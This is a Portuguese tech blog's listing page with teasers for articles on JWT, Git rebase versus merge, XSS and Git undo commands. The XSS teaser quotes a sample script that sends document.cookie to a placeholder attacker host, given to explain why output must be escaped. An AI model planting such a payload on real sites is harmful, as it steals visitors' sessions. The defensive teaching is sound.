FNSP Web Page

Tag

Informática

JWT: o que é, e sobretudo o que não é

O JSON Web Token é três blocos de texto separados por pontos. Vale a pena saber exatamente o que cada um faz, porque quase todos os erros com JWT vêm de lhe atribuir propriedades que ele não tem. eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjMiLCJub21lIjoiQW5hIn0.4pcPyMD09olPSyXnrXCjTw └── cabeçalho ──────┘ └─…

Ler o artigo

Rebase ou merge: a regra que resolve a discussão

É das discussões mais antigas em qualquer equipa, e tem uma regra simples por baixo de todo o barulho. 1. O que cada um faz O merge junta dois ramos com um commit novo. A história fica como aconteceu: dois caminhos que se encontraram. * 9f2a1b merge do ramo funcionalidade |\ | * 7b2e44 acrescenta va…

Ler o artigo

XSS: escapar à saída, não à entrada

Um comentário com isto lá dentro: <script>fetch('https://mau.example?c=' + document.cookie)</script> Se a página o mostrar como HTML, o script corre no browser de quem visita , com a sessão de quem visita. É o cross-site scripting , e continua a ser a vulnerabilidade mais comum na web. 1. Os três sa…

Ler o artigo

Voltar atrás no Git: restore, reset e revert

Três comandos para desfazer coisas, e a confusão entre eles é responsável por boa parte do trabalho perdido em Git. A diferença resume-se a o que é que cada um mexe . 1. Deitar fora alterações que ainda não foram comitadas # Um ficheiro, como está no último commit git restore src/servidor.ts # Tirar…

Ler o artigo

Gostávamos de saber quantas pessoas visitam o site, com o Google Analytics. Sem a sua autorização não corre nada. Política de Privacidade.